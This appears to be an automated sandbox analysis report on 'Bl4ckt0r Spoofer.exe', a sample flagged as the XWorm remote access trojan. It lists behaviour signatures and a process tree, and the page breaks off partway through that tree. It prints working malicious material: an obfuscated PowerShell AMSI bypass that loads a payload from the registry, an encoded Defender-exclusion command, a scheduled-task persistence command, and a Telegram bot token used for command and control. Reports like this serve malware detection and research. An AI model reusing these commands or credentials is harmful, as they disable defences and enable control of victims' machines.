Overview

overview

10

Static

static

7

Bl4ckt0r Spoofer.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    900s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 04:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Bl4ckt0r Spoofer.exe

  • Size

    4.5MB

  • MD5

    3e3c214efbec069174605c064553a06f

  • SHA1

    b649ff5a76ce6271e7c0590a9896e0754b5e08ce

  • SHA256

    22c3413fc8c1f3d0893b3f14b231f934e92ac9008611a673e80a951af4cf6da4

  • SHA512

    b22d8f2630bbd2002f715ccd460e3b25c7ce972de97b7c611786ca575db10aa95072dc551b6b5dc0c24a61b919f2912d6e96240160b5b2c5900cedd55512a744

  • SSDEEP

    98304:HZK5TELYAim4gThP3Ja8MBgeq5oYyEzqNIqH17yZ0NrnjN8EHDzzs33nlbv6:HZK5gLYAiclrl5jTeDV7y4nR8iXsnl

Score
10/10
xwormdefense_evasiondiscoveryexecutionpersistenceratthemidatrojan

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %AppData%

  • install_file

    x69XClient.exe

  • pastebin_url

    https://pastebin.com/raw/7KHrn9yR

  • telegram

    https://api.telegram.org/bot7600824685:AAHOEzTxziP7s4Wf095smbzn6FrkvRgCwVk/sendMessage?chat_id=7600824685

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    defense_evasion
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 21 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Loads dropped DLL 12 IoCs
  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 17 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 46 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 23 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:60
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{b621a709-8a6a-4f1c-8291-d815135a4d21}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2608
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:956
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:404
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:740
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                1⤵
                • Indicator Removal: Clear Windows Event Logs
                PID:1072
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1124
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:3192
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:MNhyHJXZCQqj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zdGyCzkykOEgFx,[Parameter(Position=1)][Type]$kxnCVclGyC)$RoUOpaqPROD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+'e',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+'t'+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+'l'+'a'+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+'S'+'ea'+[Char](108)+''+'e'+''+[Char](100)+''+','+''+'A'+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+'a'+'ss'+','+''+[Char](65)+'u'+'t'+''+'o'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$RoUOpaqPROD.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+'p'+'ec'+[Char](105)+''+[Char](97)+''+'l'+''+'N'+'a'+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$zdGyCzkykOEgFx).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+'e'+''+[Char](44)+'M'+[Char](97)+'na'+[Char](103)+''+'e'+''+'d'+'');$RoUOpaqPROD.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+'By'+'S'+''+[Char](105)+'g'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+'lo'+[Char](116)+',Vi'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$kxnCVclGyC,$zdGyCzkykOEgFx).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+'n'+'a'+''+'g'+'e'+[Char](100)+'');Write-Output $RoUOpaqPROD.CreateType();}$siOQXJoUeonmW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+'o'+'so'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+'U'+'ns'+[Char](97)+''+[Char](102)+''+[Char](101)+'Nat'+[Char](105)+''+[Char](118)+'eM'+[Char](101)+''+[Char](116)+''+'h'+'o'+[Char](100)+''+'s'+'');$vOSlOLSPUYestc=$siOQXJoUeonmW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+'d'+'r'+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'ubl'+'i'+''+[Char](99)+''+','+'S'+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yioomfzdtHzMdvduqsb=MNhyHJXZCQqj @([String])([IntPtr]);$nqDdgGLXzxJBjUtHZOsWzW=MNhyHJXZCQqj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AbgwoJVLMYP=$siOQXJoUeonmW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+'u'+''+'l'+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+''+[Char](46)+'dll')));$erazJCjPPsMiYc=$vOSlOLSPUYestc.Invoke($Null,@([Object]$AbgwoJVLMYP,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$smRwgmXYjsqhBUNgU=$vOSlOLSPUYestc.Invoke($Null,@([Object]$AbgwoJVLMYP,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+'r'+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$JTXqfcq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($erazJCjPPsMiYc,$yioomfzdtHzMdvduqsb).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+'d'+''+'l'+''+[Char](108)+'');$dnAgomWkWPXBdFElR=$vOSlOLSPUYestc.Invoke($Null,@([Object]$JTXqfcq,[Object]('A'+'m'+'s'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$XDkUKjIqQJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($smRwgmXYjsqhBUNgU,$nqDdgGLXzxJBjUtHZOsWzW).Invoke($dnAgomWkWPXBdFElR,[uint32]8,4,[ref]$XDkUKjIqQJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dnAgomWkWPXBdFElR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($smRwgmXYjsqhBUNgU,$nqDdgGLXzxJBjUtHZOsWzW).Invoke($dnAgomWkWPXBdFElR,[uint32]8,0x20,[ref]$XDkUKjIqQJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FT'+[Char](87)+'A'+'R'+'E').GetValue(''+[Char](120)+''+[Char](54)+'9'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                    2⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1704
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:3684
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:2264
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6760
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:1164
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6136
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6712
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:4744
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6124
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:5352
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6284
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:6644
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:7860
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:5648
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:8180
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:7220
                    • C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      C:\Users\Admin\AppData\Roaming\x69XClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:4936
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1140
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1148
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1256
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1288
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1388
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1416
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1424
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                    • Modifies registry class
                                    PID:3116
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1592
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1600
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1620
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1724
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1772
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1780
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1876
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1976
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1996
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1348
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:1012
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1664
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2120
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2196
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2300
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2308
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2488
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2520
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2532
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2556
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2564
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2644
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:2900
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:3136
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3240
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3372
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3444
                                                                                • C:\Users\Admin\AppData\Local\Temp\Bl4ckt0r Spoofer.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Bl4ckt0r Spoofer.exe"
                                                                                  2⤵
                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                  • Checks BIOS information in registry
                                                                                  • Checks computer location settings
                                                                                  • Checks whether UAC is enabled
                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:4044
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAeQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAaQBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAdgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAdgBkACMAPgA="
                                                                                    3⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3964
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Spoofer.bat" "
                                                                                    3⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3912
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      4⤵
                                                                                        PID:4152
                                                                                    • C:\Users\Admin\AppData\Local\Temp\x69M5tLLoveYOU (1) (1).exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\x69M5tLLoveYOU (1) (1).exe"
                                                                                      3⤵
                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                      • Checks BIOS information in registry
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Checks whether UAC is enabled
                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3692
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1100
                                                                                      • C:\Users\Admin\AppData\Local\Temp\x69s.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\x69s.exe"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        • Drops startup file
                                                                                        • Executes dropped EXE
                                                                                        • Adds Run key to start application
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1940
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x69XClient" /tr "C:\Users\Admin\AppData\Roaming\x69XClient.exe"
                                                                                          5⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:1408
                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                                    2⤵
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Checks processor information in registry
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:4104
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                    2⤵
                                                                                    • Enumerates system info in registry
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:3272
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb6a36cc40,0x7ffb6a36cc4c,0x7ffb6a36cc58
                                                                                      3⤵
                                                                                        PID:3544
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1888,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1884 /prefetch:2
                                                                                        3⤵
                                                                                          PID:1800
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2156,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2176 /prefetch:3
                                                                                          3⤵
                                                                                          • Downloads MZ/PE file
                                                                                          PID:2824
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2188 /prefetch:8
                                                                                          3⤵
                                                                                            PID:4004
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3132,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3148 /prefetch:1
                                                                                            3⤵
                                                                                              PID:2416
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
